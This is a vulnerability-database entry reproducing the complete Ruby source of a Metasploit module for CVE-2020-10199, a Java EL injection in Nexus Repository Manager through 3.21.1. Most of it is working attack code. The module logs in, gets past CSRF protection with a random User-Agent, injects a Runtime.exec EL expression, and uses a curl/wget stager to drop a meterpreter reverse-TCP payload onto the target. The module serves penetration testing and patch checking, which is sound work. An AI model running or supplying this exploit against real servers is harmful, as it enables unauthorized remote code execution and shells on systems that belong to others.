Nexus Repository Manager Java EL Injection RCE

2020-04-15T20:49:33
ID MSF:EXPLOIT/LINUX/HTTP/NEXUS_REPO_MANAGER_EL_INJECTION
Type metasploit
Reporter Rapid7
Modified 2020-04-22T15:44:07

Description

This module exploits a Java Expression Language (EL) injection in Nexus Repository Manager versions up to and including 3.21.1 to execute code as the Nexus user. This is a post-authentication vulnerability, so credentials are required to exploit the bug. Any user regardless of privilege level may be used. Tested against 3.21.1-01.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nexus Repository Manager Java EL Injection RCE',
        'Description' => %q{
          This module exploits a Java Expression Language (EL) injection in
          Nexus Repository Manager versions up to and including 3.21.1 to
          execute code as the Nexus user.

          This is a post-authentication vulnerability, so credentials are
          required to exploit the bug. Any user regardless of privilege level
          may be used.

          Tested against 3.21.1-01.
        },
        'Author' => [
          'Alvaro Muñoz', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-10199'],
          ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
          ['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
        ],
        'DisclosureDate' => '2020-03-31', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          ['Nexus Repository Manager <= 3.21.1', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
        },
        'CmdStagerFlavor' => %i[curl wget],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(8081),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
      OptString.new('PASSWORD', [true, 'Nexus password'])
    ])
  end

  def post_auth?
    # Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
    true
  end

  # Send a GET / request to the server, check the response for a Server header
  # containing the Nexus version, and then check if it's a vulnerable version
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check request.')
    end

    unless res.headers['Server']
      return CheckCode::Unknown('Target did not respond with Server header.')
    end

    # Example Server header:
    # Server: Nexus/3.21.1-01 (OSS)
    version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

    unless version
      return CheckCode::Unknown('Target did not respond with Nexus version.')
    end

    if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
      return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
    end

    CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
  end

  def exploit
    # NOTE: Automatic check is implemented by the AutoCheck mixin
    super

    print_status("Executing command stager for #{datastore['PAYLOAD']}")

    # This will drop a binary payload to disk and execute it!
    execute_cmdstager(
      noconcat: true,
      cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
    )
  end

  def login(username, password)
    print_status("Logging in with #{username}:#{password}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/service/rapture/session'),
      'vars_post' => {
        'username' => Rex::Text.encode_base64(username),
        'password' => Rex::Text.encode_base64(password)
      },
      'partial' => true # XXX: Return partial response despite timeout
    }, 3.5)

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to login request')
    end

    cookie = res.get_cookies

    unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
      fail_with(Failure::NoAccess, 'Could not log in with specified creds')
    end

    print_good("Logged in with #{cookie}")
    cookie
  end

  # This is defined so that CmdStager can use it!
  def execute_command(cmd, opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,
                             '/service/rest/beta/repositories/go/group'),
      # HACK: Bypass CSRF token with random User-Agent header
      'agent' => rand_text_english(8..42),
      'cookie' => opts[:cookie],
      'ctype' => 'application/json',
      'data' => json_payload(cmd)
    )

    unless res
      fail_with(Failure::Unknown, 'Target did not respond to payload request')
    end

    unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  # PoC based off API docs for /service/rest/beta/repositories/go/group:
  # http://localhost:8081/#admin/system/api
  def json_payload(cmd)
    {
      'name' => 'internal',
      'online' => true,
      'storage' => {
        'blobStoreName' => 'default',
        'strictContentTypeValidation' => true
      },
      'group' => {
        # XXX: memberNames has to be an array, but the API example was a string
        'memberNames' => [el_payload(cmd)]
      }
    }.to_json
  end

  # Helpful resource from which I borrowed the EL payload:
  # https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
  def el_payload(cmd)
    # HACK: Format our EL expression nicely and then strip introduced whitespace
    el = <<~EOF.gsub(/\s+/, '')
      ${
        "".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
          "".getClass().forName("java.lang.Runtime")
        ).exec("PATCH_ME")
      }
    EOF

    # Patch in our command, escaping any double quotes
    el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
  end

end